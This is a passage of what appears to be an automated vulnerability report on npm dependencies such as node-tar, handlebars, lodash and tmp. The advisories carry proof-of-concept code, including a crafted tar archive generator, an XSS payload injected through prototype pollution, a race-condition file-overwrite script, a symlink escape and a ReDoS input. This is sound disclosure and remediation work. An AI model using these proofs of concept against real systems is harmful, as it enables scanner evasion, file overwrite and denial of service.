overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.

Impact

  • CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
    the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
    GHSA-fp55-jw48-c537).
  • A crafted archive can present one logical member list to a tool that lists or
    scans with node-tar and a different member list to GNU tar / libarchive /
    Python tarfile (and vice versa). This lets a malicious file be hidden from a
    scanner that uses a different parser than the eventual extractor, or hidden
    from node-tar-based inspection while still landing on disk via a system tar.
  • No authentication is required; the only precondition is that a victim parses
    an attacker-supplied tar with node-tar. Tar archives are routinely fetched
    from untrusted sources (package registries, user uploads, CI artifacts,
    container layers).
  • Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
    RCE; it is a building block for supply-chain / scanner-evasion attacks rather
    than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):

// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:

const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:

if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser
reaches the sink. No options need to be enabled; the default code path is
affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version tar@7.5.15, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']                                                      # Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

[ CVE-2026-45822 ] decode-uri-component 0.2.0

Vulnerability Details

CVSS V3: -
Dependency Path:
decode-uri-component: 0.2.0 (Transitive)Fix Version: 0.5.0

Impact

An attacker who can supply input to decodeUriComponent() (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.

Patches

Upgrade to decode-uri-component@0.5.0.

Workarounds

Limit the size of the input.

[ CVE-2026-33916 ] handlebars 4.0.12

Vulnerability Details

CVSS V3: 4.7
Dependency Path:
handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9

Summary

resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.

Description

The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():

// Vulnerable: plain bracket access traverses Object.prototype
partial = options.partials[options.name];

hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.

Prerequisites for exploitation:

  1. The target application must be vulnerable to prototype pollution (e.g. via qs, minimist, or
    any querystring/JSON merge sink).
  2. The attacker must know or guess the name of a partial reference used in a template.

Proof of Concept

const Handlebars = require('handlebars');

// Step 1: Prototype pollution (via qs, minimist, or another vector)
Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';

// Step 2: Normal template that references a partial
const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');

// Step 3: Render — XSS payload injected unescaped
const output = template({});
// Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>

The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.

Workarounds

  • Apply Object.freeze(Object.prototype) early in application startup to prevent prototype pollution. Note: this may break other libraries.
  • Use the Handlebars runtime-only build (handlebars/runtime), which does not compile templates and reduces the attack surface.
[ CVE-2026-2950 ] lodash 3.10.1

Vulnerability Details

CVSS V3: 5.3

Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

Patches

This issue is patched in 4.18.0.

Workarounds

None. Upgrade to the patched version.

[ CVE-2026-2950 ] lodash 2.2.1

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
lodash: 2.2.1 (Transitive)Fix Version: 4.18.0

Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

Patches

This issue is patched in 4.18.0.

Workarounds

None. Upgrade to the patched version.

[ CVE-2026-2950 ] lodash 4.17.11

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
lodash: 4.17.11 (Transitive)Fix Version: 4.18.0

Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

Patches

This issue is patched in 4.18.0.

Workarounds

None. Upgrade to the patched version.

[ CVE-2026-23950 ] tar 4.4.1

Vulnerability Details

CVSS V3: 5.9
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.4

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.


Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

---

[ CVE-2026-12590 ] body-parser 1.18.3

Vulnerability Details

CVSS V3: 5.9
Dependency Path:
body-parser: 1.18.3 (Transitive)Fix Version: 1.20.6

Impact

When body-parser is configured with an invalid limit option value, such as an unparseable string or NaN, bytes.parse() returns null and the request body size check is silently skipped. Applications that rely on limit as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service.

This issue affects applications that pass a programmatically computed or user-configurable value to the limit option without validating it first.

Patches

This issue is fixed in body-parser@2.3.0 and body-parser@1.20.6 via #698. After the fix, invalid limit values throw a clear error at parser construction time instead of silently disabling enforcement. null and undefined continue to fall back to the default limit (100kb).

Workarounds

Validate limit before passing it to body-parser. For example, parse the value with bytes.parse() at startup and reject any configuration where it returns null or a non-finite number.

References

[ CVE-2025-54798 ] tmp 0.0.33

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
tmp: 0.0.33 (Transitive)Fix Version: 0.2.4

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: raszi/node-tmp#207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

[ CVE-2025-15284 ] qs 6.5.2

Vulnerability Details

CVSS V3: 3.7
Dependency Path:
qs: 6.5.2 (Transitive)Fix Version: 6.14.1

Summary

The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.

Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly.

Details

The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.

Impact

Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

[ CVE-2025-13465 ] lodash 4.17.11

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
lodash: 4.17.11 (Transitive)Fix Version: 4.17.23

Impact

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.

The issue permits deletion of properties but does not allow overwriting their original behavior.

Patches

This issue is patched on 4.17.23.

[ CVE-2024-47764 ] cookie 0.3.1

Vulnerability Details

CVSS V3: -
Dependency Path:
cookie: 0.3.1 (Transitive)Fix Version: 0.7.0

Impact

The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value) would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test", setting userName cookie to <script> and ignoring value.

A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie.

Patches

Upgrade to 0.7.0, which updates the validation for name, path, and domain.

Workarounds

Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.

References

[ CVE-2024-4067 ] micromatch 2.3.11

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
micromatch: 2.3.11 (Transitive)Fix Version: 4.0.8

The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to micromatch/micromatch#266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.

[ CVE-2024-4067 ] micromatch 3.1.10

Vulnerability Details

CVSS V3: 5.3

The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to micromatch/micromatch#266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.

[ CVE-2024-36751 ] parseuri 0.0.5

Vulnerability Details

CVSS V3: 6.5
Dependency Path:
parseuri: 0.0.5 (Transitive)Fix Version: 3.0.1

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.

PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();
```<br></details>

<details><summary><b>[ CVE-2024-28863 ] tar 4.4.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.5 |
| **Dependency Path:** | <details><summary><b>tar: 4.4.1 (Transitive)</b></summary>Fix Version: 7.5.21<br></details> |

GHSA-r292-9mhp-454m:
## Summary
`node-tar` (npm `tar`) contains an uncontrolled-recursion stack-exhaustion DoS in the internal `mapHas` helper used by `filesFilter`. When a consumer calls `tar.t(...)` or `tar.x(...)` with a non-empty member-selection list, node-tar installs a filter that closes over the recursive `mapHas` (`src/list.ts:33-44`). `mapHas` walks an entry path upward one `path.dirname()` call per recursion **with no segment cap**. A single crafted tar with a GNU-`L` (or PAX-`x`) long-path header can deliver a path of tens of thousands of `/`-separated segments (up to `maxMetaEntrySize` = 1 MiB). The recursion overflows the call stack, throwing an uncatchable `RangeError` that terminates the Node process on async/streaming consumers.

## Root Cause
`filesFilter` (`src/list.ts:27-51`) is installed whenever a caller passes a member-selection list (`src/list.ts:119-122`, `src/extract.ts:55-57`). Its filter is invoked at `src/parse.ts:253` (`entry.ignore = entry.ignore || !this.filter(entry.path, entry)`) inside `Parser[CONSUMEHEADER]`  and crucially **outside** the only try/catch in that method (which wraps `new Header` at `src/parse.ts:179-183`). `mapHas` recurses once per path segment with no depth limit. The `Unpack` `maxDepth` guard (`src/unpack.ts:342`, in `[CHECKPATH]`) only runs on the `'entry'` event, which fires *after* `CONSUMEHEADER` has already invoked the filter  so the stack overflows before any depth guard executes. `tar.t` (list) has no `maxDepth` at all.

## Impact
Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts *selected members* from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (`await tar.t(...)`/`tar.x(...)`) and streaming/`pipe` consumers the `RangeError` escapes the promise as an `uncaughtException` and terminates the process  standard defensive `try/catch` around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths  the dominant server pattern  are not.)

## Proof of Concept
```js
// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exit

Empirically reproduced on Node v24.18.0 against built dist/commonjs of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught RangeError: Maximum call stack size exceeded → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating mapHas as the sole cause.

Attack Chain

  1. Entry. Attacker crafts a tar with a GNU L (or PAX x) long-path header whose body is "a/"×~12000 (~26 KB), followed by a normal file entry.
    • Guard: maxMetaEntrySize caps the meta body at 1 MiB (src/parse.ts:241).
    • Bypass proof: 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
  2. Trigger. Victim service calls tar.t({file},[sel]) or tar.x({file,cwd},[sel]) (member selection — a documented, common API).
    • Guard: Unpack.maxDepth (default 1024) at src/unpack.ts:342; decompression-ratio guard.
    • Bypass proof: maxDepth lives in [CHECKPATH] on the 'entry' event, which fires after CONSUMEHEADER's filter call — the crash occurs before it (extract exits 1 with default maxDepth). tar.t has no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body.
  3. Sink. this.filter(entry.path)mapHas recurses once per / segment (src/list.ts:39).
    • Guard: try/catch in CONSUMEHEADER.
    • Bypass proof: the only try/catch wraps new Header (src/parse.ts:179-183); the this.filter(...) call at src/parse.ts:253 is outside it. The RangeError propagates out of the stream write/'data' path → uncaught exception (verified: process.on('uncaughtException') fires; async await+try/catch does NOT intercept).
  4. Impact. Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.

Bypass Evidence

  • mapHas recursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to use member selection.
  • Standalone mapHas overflows at 20k–30k segments; on the real streaming path (atop write → CONSUMECHUNK → CONSUMEHEADER → filter) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path).
  • Control (no member list → no filter) parses cleanly (exit 0), isolating mapHas.

Affected Versions

<= 7.5.20 (npm tar). mapHas present verbatim on tag v7.5.20 (latest GitHub release and npm dist-tag latest); no segment/depth cap in src/list.ts or the CONSUMEHEADER filter path; HEAD == 7.5.20, no unreleased fix.

Suggested Fix

